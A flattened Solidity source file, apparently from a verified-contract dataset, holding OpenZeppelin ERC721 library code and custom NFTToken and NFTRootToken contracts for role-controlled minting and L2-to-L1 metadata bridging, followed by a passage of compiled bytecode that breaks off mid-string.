require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: @openzeppelin/contracts@4.4.1/token/ERC721/extensions/ERC721URIStorage.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721URIStorage.sol)
pragma solidity ^0.8.0;
/**
* @dev ERC721 token with storage based token URI management.
*/
abstract contract ERC721URIStorage is ERC721 {
using Strings for uint256;
// Optional mapping for token URIs
mapping(uint256 => string) private _tokenURIs;
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721URIStorage: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
string memory base = _baseURI();
// If there is no base URI, return the token URI.
if (bytes(base).length == 0) {
return _tokenURI;
}
// If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(base, _tokenURI));
}
return super.tokenURI(tokenId);
}
/**
* @dev Sets `_tokenURI` as the tokenURI of `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721URIStorage: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual override {
super._burn(tokenId);
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
}
}
// File: @openzeppelin/contracts@4.4.1/token/ERC721/extensions/ERC721Enumerable.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Enumerable.sol)
pragma solidity ^0.8.0;
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// File: contracts/NFTToken.sol
pragma solidity ^0.8.2;
contract NFTToken is ERC721, ERC721Enumerable, ERC721URIStorage, TransactorRoleControl {
using Counters for Counters.Counter;
string private _tokenBaseUri;
Counters.Counter internal _tokenIdCounter;
constructor(string memory name, string memory symbol) ERC721(name, symbol) {}
function setBaseURI(string memory tokenBaseUri) external onlyRole(DEFAULT_ADMIN_ROLE) {
_tokenBaseUri = tokenBaseUri;
}
function setTokenURI(uint256 tokenId, string memory uri) external onlyTransactor {
_setTokenURI(tokenId, uri);
}
function _baseURI() internal view override returns (string memory) {
if (bytes(_tokenBaseUri).length > 0) {
return _tokenBaseUri;
}
return super._baseURI();
}
// The following functions are overrides required by Solidity.
function _beforeTokenTransfer(address from, address to, uint256 tokenId)
internal
override(ERC721, ERC721Enumerable)
{
super._beforeTokenTransfer(from, to, tokenId);
}
function _burn(uint256 tokenId) internal override(ERC721, ERC721URIStorage) {
super._burn(tokenId);
}
function tokenURI(uint256 tokenId)
public
view
override(ERC721, ERC721URIStorage)
returns (string memory)
{
return super.tokenURI(tokenId);
}
function supportsInterface(bytes4 interfaceId)
public
view
override(AccessControlEnumerable, ERC721, ERC721Enumerable)
returns (bool)
{
return super.supportsInterface(interfaceId);
}
function tokensOfOwner(address owner) public view returns(uint256[] memory){
uint256 balance = balanceOf(owner);
uint256[] memory tokenIds = new uint256[](balance);
for(uint256 i =0 ; i< balance ; i++){
uint256 tokenId = tokenOfOwnerByIndex(owner,i);
tokenIds[i] = tokenId;
}
return tokenIds;
}
}
// File: contracts/NFTRootToken.sol
pragma solidity ^0.8.2;
contract NFTRootToken is NFTToken {
bytes32 public constant PREDICATE_ROLE = keccak256("PREDICATE_ROLE");
constructor (string memory name, string memory symbol,address mintableERC721Proxy) NFTToken(name,symbol) {
_grantRole(PREDICATE_ROLE,mintableERC721Proxy);
}
/**
* @dev See {IMintableERC721-mint}.
*/
function mint(address user, uint256 tokenId) external onlyRole(PREDICATE_ROLE) {
_mint(user, tokenId);
}
/**
* If you're attempting to bring metadata associated with token
* from L2 to L1, you must implement this method, to be invoked
* when minting token back on L1, during exit
*/
function setTokenMetadata(uint256 tokenId, bytes memory data) internal virtual {
// This function should decode metadata obtained from L2
// and attempt to set it for this `tokenId`
//
// Following is just a default implementation, feel
// free to define your own encoding/ decoding scheme
// for L2 -> L1 token metadata transfer
string memory uri = abi.decode(data, (string));
_setTokenURI(tokenId, uri);
}
/**
* @dev See {IMintableERC721-mint}.
*
* If you're attempting to bring metadata associated with token
* from L2 to L1, you must implement this method
*/
function mint(address user, uint256 tokenId, bytes calldata metaData) external onlyRole(PREDICATE_ROLE) {
_mint(user, tokenId);
setTokenMetadata(tokenId, metaData);
}
function exists(uint256 tokenId) external view returns (bool) {
return _exists(tokenId);
}
} | 0x608060405234801561001057600080fd5b50600436106102115760003560e01c80636352211e11610125578063a22cb465116100ad578063ca15c8731161007c578063ca15c8731461066a578063d547741f1461069a578063e0d1f1bf146106b6578063e72db5fd146106d4578063e985e9c5146106f257610211565b8063a22cb465146105d2578063b88d4fde146105ee578063c1a94ecd1461060a578063c87b56dd1461063a57610211565b80639010d07c116100f45780639010d07c1461051a57806391d148541461054a57806394d008ef1461057a57806395d89b4114610596578063a217fddf146105b457610211565b80636352211e1461046e57806370a082311461049e57806370f4f9df146104ce5780638462151c146104ea57610211565b8063248a9ca3116101a857806340c10f191161017757806340c10f19146103ba57806342842e0e146103d65780634f558e79146103f25780634f6ccce71461042257806355f804b31461045257610211565b8063248a9ca3146103225780632f2ff15d146103525780632f745c591461036e57806336568abe1461039e57610211565b8063162094c4116101e4578063162094c4146102b057806318160ddd146102cc5780631f0f4f7a146102ea57806323b872dd1461030657610211565b806301ffc9a71461021657806306fdde0314610246578063081812fc14610264578063095ea7b314610294575b600080fd5b610230600480360381019061022b91906135dc565b610722565b60405161023d9190613ce4565b60405180910390f35b61024e610734565b60405161025b9190613d1a565b60405180910390f35b61027e600480360381019061027991906136c8565b6107c6565b60405161028b9190613c5b565b60405180910390f35b6102ae60048036038101906102a9919061347b565b61084b565b005b6102ca60048036038101906102c591906136f5565b610963565b005b6102d46109e1565b6040516102e19190613ffc565b60405180910390f35b61030460048036038101906102ff91906132f8565b6109ee565b005b610320600480360381019061031b9190613365565b610a1b565b005b61033c6004803603810190610337919061352f565b610a7b565b6040516103499190613cff565b60405180910390f35b61036c6004803603810190610367919061355c565b610a9b565b005b6103886004803603810190610383919061347b565b610ac4565b6040516103959190613ffc565b60405180910390f35b6103b860048036038101906103b3919061355c565b610b69565b005b6103d460048036038101906103cf919061347b565b610bec565b005b6103f060048036038101906103eb9190613365565b610c2d565b005b61040c600480360381019061040791906136c8565b610c4d565b6040516104199190613ce4565b60405180910390f35b61043c600480360381019061043791906136c8565b610c5f565b6040516104499190613ffc565b60405180910390f35b61046c60048036038101906104679190613636565b610cd0565b005b610488600480360381019061048391906136c8565b610d00565b6040516104959190613c5b565b60405180910390f35b6104b860048036038101906104b391906132f8565b610db2565b6040516104c59190613ffc565b60405180910390f35b6104e860048036038101906104e391906132f8565b610e6a565b005b61050460048036038101906104ff91906132f8565b610f07565b6040516105119190613cc2565b60405180910390f35b610534600480360381019061052f919061359c565b610fbb565b6040516105419190613c5b565b60405180910390f35b610564600480360381019061055f919061355c565b610fea565b6040516105719190613ce4565b60405180910390f35b610594600480360381019061058f91906134bb565b611055565b005b61059e6110e6565b6040516105ab9190613d1a565b60405180910390f35b6105bc611178565b6040516105c99190613cff565b60405180910390f35b6105ec60048036038101906105e7919061343b565b61117f565b005b610608600480360381019061060391906133b8565b611195565b005b610624600480360381019061061f91906132f8565b6111f7565b6040516106319190613ce4565b60405180910390f35b610654600480360381019061064f91906136c8565b61122a565b6040516106619190613d1a565b60405180910390f35b610684600480360381019061067f919061352f565b61123c565b6040516106919190613ffc565b60405180910390f35b6106b460048036038101906106af919061355c565b611260565b005b6106be611289565b6040516106cb9190613cff565b60405180910390f35b6106dc6112ad565b6040516106e99190613cff565b60405180910390f35b61070c60048036038101906107079190613325565b6112d1565b6040516107199190613ce4565b60405180910390f35b600061072d82611476565b9050919050565b60606000805461074390614319565b80601f016020809104026020016040519081016040528092919081815260200182805461076f90614319565b80156107bc5780601f10610791576101008083540402835291602001916107bc565b820191906000526020600020905b81548152906001019060200180831161079f57829003601f168201915b5050505050905090565b60006107d1826114f0565b610810576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161080790613efc565b60405180910390fd5b6004600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b600061085682610d00565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156108c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108be90613f5c565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166108e661155c565b73ffffffffffffffffffffffffffffffffffffffff16148061091557506109148161090f61155c565b6112d1565b5b610954576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161094b90613e3c565b60405180910390fd5b61095e8383611564565b505050565b6109947f224141c4932098423082d63e977eaac0f09f69384f6b456a5c737bd8c6aea19d61098f61155c565b610fea565b6109d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ca90613dfc565b60405180910390fd5b6109dd828261161d565b5050565b6000600880549050905090565b610a187f224141c4932098423082d63e977eaac0f09f69384f6b456a5c737bd8c6aea19d82611260565b50565b610a2c610a2661155c565b82611691565b610a6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6290613f7c565b60405180910390fd5b610a7683838361176f565b505050565b6000600b6000838152602001908152602001600020600101549050919050565b610aa482610a7b565b610ab581610ab061155c565b6119cb565b610abf8383611a68565b505050565b6000610acf83610db2565b8210610b10576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0790613d5c565b60405180910390fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002054905092915050565b610b7161155c565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610bde576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bd590613fdc565b60405180910390fd5b610be88282611a9c565b5050565b7f12ff340d0cd9c652c747ca35727e68c547d0f0bfa7758d2e77f75acef481b4f2610c1e81610c1961155c565b6119cb565b610c288383611ad0565b505050565b610c4883838360405180602001604052806000815250611195565b505050565b6000610c58826114f0565b9050919050565b6000610c696109e1565b8210610caa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca190613f9c565b60405180910390fd5b60088281548110610cbe57610cbd6144b2565b5b90600052602060002001549050919050565b6000801b610ce581610ce061155c565b6119cb565b81600d9080519060200190610cfb929190613031565b505050565b6000806002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610da9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da090613e7c565b60405180910390fd5b80915050919050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e1a90613e5c565b60405180910390fd5b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610eda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed190613fbc565b60405180910390fd5b610f047f224141c4932098423082d63e977eaac0f09f69384f6b456a5c737bd8c6aea19d82610a9b565b50565b60606000610f1483610db2565b905060008167ffffffffffffffff811115610f3257610f316144e1565b5b604051908082528060200260200182016040528015610f605781602001602082028036833780820191505090505b50905060005b82811015610fb0576000610f7a8683610ac4565b905080838381518110610f9057610f8f6144b2565b5b602002602001018181525050508080610fa89061437c565b915050610f66565b508092505050919050565b6000610fe282600c6000868152602001908152602001600020611c9e90919063ffffffff16565b905092915050565b6000600b600084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b7f12ff340d0cd9c652c747ca35727e68c547d0f0bfa7758d2e77f75acef481b4f26110878161108261155c565b6119cb565b6110918585611ad0565b6110df8484848080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050611cb8565b5050505050565b6060600180546110f590614319565b80601f016020809104026020016040519081016040528092919081815260200182805461112190614319565b801561116e5780601f106111435761010080835404028352916020019161116e565b820191906000526020600020905b81548152906001019060200180831161115157829003601f168201915b5050505050905090565b6000801b81565b61119161118a61155c565b8383611cdf565b5050565b6111a66111a061155c565b83611691565b6111e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111dc90613f7c565b60405180910390fd5b6111f184848484611e4c565b50505050565b60006112237f224141c4932098423082d63e977eaac0f09f69384f6b456a5c737bd8c6aea19d83610fea565b9050919050565b606061123582611ea8565b9050919050565b6000611259600c6000848152602001908152602001600020611ffa565b9050919050565b61126982610a7b565b61127a8161127561155c565b6119cb565b6112848383611a9c565b505050565b7f224141c4932098423082d63e977eaac0f09f69384f6b456a5c737bd8c6aea19d81565b7f12ff340d0cd9c652c747ca35727e68c547d0f0bfa7758d2e77f75acef481b4f281565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b61136f8282610fea565b611442576001600b600084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506113e761155c565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45b5050565b600061146e836000018373ffffffffffffffffffffffffffffffffffffffff1660001b61200f565b905092915050565b60007f5a05180f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614806114e957506114e88261207f565b5b9050919050565b60008073ffffffffffffffffffffffffffffffffffffffff166002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614159050919050565b600033905090565b816004600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff166115d783610d00565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b611626826114f0565b611665576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165c90613e9c565b60405180910390fd5b80600a6000848152602001908152602001600020908051906020019061168c929190613031565b505050565b600061169c826114f0565b6116db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116d290613e1c565b60405180910390fd5b60006116e683610d00565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148061175557508373ffffffffffffffffffffffffffffffffffffffff1661173d846107c6565b73ffffffffffffffffffffffffffffffffffffffff16145b80611766575061176581856112d1565b5b91505092915050565b8273ffffffffffffffffffffffffffffffffffffffff1661178f82610d00565b73ffffffffffffffffffffffffffffffffffffffff16146117e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117dc90613f1c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611855576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161184c90613dbc565b60405180910390fd5b6118608383836120f9565b61186b600082611564565b6001600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546118bb91906141fb565b925050819055506001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611912919061411a565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b6119d58282610fea565b611a64576119fa8173ffffffffffffffffffffffffffffffffffffffff166014612109565b611a088360001c6020612109565b604051602001611a19929190613c21565b6040516020818303038152906040526040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a5b9190613d1a565b60405180910390fd5b5050565b611a728282611365565b611a9781600c600085815260200190815260200160002061144690919063ffffffff16565b505050565b611aa68282612345565b611acb81600c600085815260200190815260200160002061242790919063ffffffff16565b505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b3790613ebc565b60405180910390fd5b611b49816114f0565b15611b89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b8090613d9c565b60405180910390fd5b611b95600083836120f9565b6001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611be5919061411a565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45050565b6000611cad8360000183612457565b60001c905092915050565b600081806020019051810190611cce919061367f565b9050611cda838261161d565b505050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611d4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4590613ddc565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c3183604051611e3f9190613ce4565b60405180910390a3505050565b611e5784848461176f565b611e6384848484612482565b611ea2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e9990613d7c565b60405180910390fd5b50505050565b6060611eb3826114f0565b611ef2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ee990613edc565b60405180910390fd5b6000600a60008481526020019081526020016000208054611f1290614319565b80601f0160208091040260200160405190810160405280929190818152602001828054611f3e90614319565b8015611f8b5780601f10611f6057610100808354040283529160200191611f8b565b820191906000526020600020905b815481529060010190602001808311611f6e57829003601f168201915b505050505090506000611f9c612619565b9050600081511415611fb2578192505050611ff5565b600082511115611fe7578082604051602001611fcf929190613bfd565b60405160208183030381529060405292505050611ff5565b611ff0846126d2565b925050505b919050565b600061200882600001612779565b9050919050565b600061201b838361278a565b612074578260000182908060018154018082558091505060019003906000526020600020016000909190919091505582600001805490508360010160008481526020019081526020016000208190555060019050612079565b600090505b92915050565b60007f7965db0b000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614806120f257506120f1826127ad565b5b9050919050565b612104838383612827565b505050565b60606000600283600261211c91906141a1565b612126919061411a565b67ffffffffffffffff81111561213f5761213e6144e1565b5b6040519080825280601f01601f1916602001820160405280156121715781602001600182028036833780820191505090505b5090507f3000000000000000000000000000000000000000000000000000000000000000816000815181106121a9576121a86144b2565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053507f78000000000000000000000000000000000000000000000000000000000000008160018151811061220d5761220c6144b2565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053506000600184600261224d91906141a1565b612257919061411a565b90505b60018111156122f7577f3031323334353637383961626364656600000000000000000000000000000000600f861660108110612299576122986144b2565b5b1a60f81b8282815181106122b0576122af6144b2565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600485901c9450806122f0906142ef565b905061225a565b506000841461233b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161233290613d3c565b60405180910390fd5b8091505092915050565b61234f8282610fea565b15612423576000600b600084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506123c861155c565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a45b5050565b600061244f836000018373ffffffffffffffffffffffffffffffffffffffff1660001b61293b565b905092915050565b600082600001828154811061246f5761246e6144b2565b5b9060005260206000200154905092915050565b60006124a38473ffffffffffffffffffffffffffffffffffffffff16612a4f565b1561260c578373ffffffffffffffffffffffffffffffffffffffff1663150b7a026124cc61155c565b8786866040518563ffffffff1660e01b81526004016124ee9493929190613c76565b602060405180830381600087803b15801561250857600080fd5b505af192505050801561253957506040513d601f19601f820116820180604052508101906125369190613609565b60015b6125bc573d8060008114612569576040519150601f19603f3d011682016040523d82523d6000602084013e61256e565b606091505b506000815114156125b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125ab90613d7c565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffff